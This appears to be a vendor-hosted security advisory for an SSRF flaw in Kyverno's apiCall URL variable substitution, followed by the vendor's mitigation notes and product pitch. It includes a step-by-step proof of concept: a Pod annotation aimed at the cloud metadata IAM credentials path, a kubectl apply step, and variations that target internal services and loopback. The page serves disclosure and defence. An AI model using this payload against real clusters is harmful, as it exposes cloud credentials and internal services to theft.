GHSA-qr4g-8hrp-c4rw
HIGHKyverno has unrestricted outbound requests in Kyverno apiCall enabling SSRF
Blast Radius
github.com/kyverno/kyvernoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A Server-Side Request Forgery (SSRF) vulnerability in Kyverno allows authenticated users to induce the admission controller to send arbitrary HTTP requests to attacker-controlled endpoints.
When a ClusterPolicy uses apiCall.service.url with variable substitution (e.g. {{request.object.*}}), user-controlled input can influence the request target. The Kyverno admission controller executes these requests from its privileged network position without enforcing any validation or network restrictions.
The issue becomes non-blind SSRF, as response data from internal services can be reflected back to the user via admission error messages.
Details
Kyverno supports variable substitution in apiCall.service.url, a documented feature intended to enable dynamic external lookups during admission control.
However, the current implementation lacks fundamental safeguards in the HTTP execution path:
Missing protections
-
No URL validation
User-controlled input is directly embedded into the request URL without validation or normalization. -
No IP filtering
Requests can target:- Loopback (
127.0.0.1) - Link-local (
169.254.0.0/16) - Cloud metadata services (e.g. AWS IMDS)
- Internal ClusterIP services
- Loopback (
-
Redirect handling not restricted
The Go HTTP client uses default redirect behavior (CheckRedirect == nil), allowing up to 10 redirects without re-validation of the target. -
Response data reflection in admission errors
Response bodies are propagated back to the user in admission responses under certain conditions.
Non-blind SSRF behavior
The vulnerability is non-blind through two mechanisms:
-
Non-2xx responses
Response body is returned in admission error messages (e.g.executor.go:98-101) -
2xx responses with non-JSON content
Parsing failures (JSON/JMESPath) include response snippets in error output
This allows attackers to retrieve data from internal services directly via kubectl output.
PoC
Preconditions
- A
ClusterPolicyusing:
apiCall:
service:
url: "http://{{ request.object.metadata.annotations.target }}"
- An authenticated user able to create matching resources (e.g. Pods)
Step 1 — Create malicious resource
apiVersion: v1
kind: Pod
metadata:
name: ssrf-test
annotations:
target: "169.254.169.254/latest/meta-data/iam/security-credentials/"
spec:
containers:
- name: test
image: nginx
Step 2 — Apply resource
kubectl apply -f pod.yaml
Step 3 — Observe output
Example output:
Error from server: admission webhook "kyverno" denied the request:
failed to process apiCall: <response body from metadata service>
Variations
- Internal services: http://kubernetes.default.svc
- Loopback: http://127.0.0.1:8080
- Redirect chains to bypass naive filters
Impact
Vulnerability class
- Server-Side Request Forgery (SSRF)
- Non-blind data exfiltration
Affected scope
- Kubernetes clusters using Kyverno policies with
apiCall.service.urland variable substitution
Impact details
- Access to internal services (ClusterIP, localhost)
- Access to cloud metadata endpoints (e.g. IMDSv1 → credential exposure)
- Internal network reconnaissance
- Multi-tenant boundary weakening
This issue can be combined with automatic ServiceAccount token forwarding (reported separately) to form a critical attack chain.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/kyverno/kyverno | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/kyverno/kyverno. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of github.com/kyverno/kyverno has shipped for GHSA-qr4g-8hrp-c4rw yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-qr4g-8hrp-c4rw is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-qr4g-8hrp-c4rw. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-qr4g-8hrp-c4rw in your dependencies?
O3 detects GHSA-qr4g-8hrp-c4rw across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.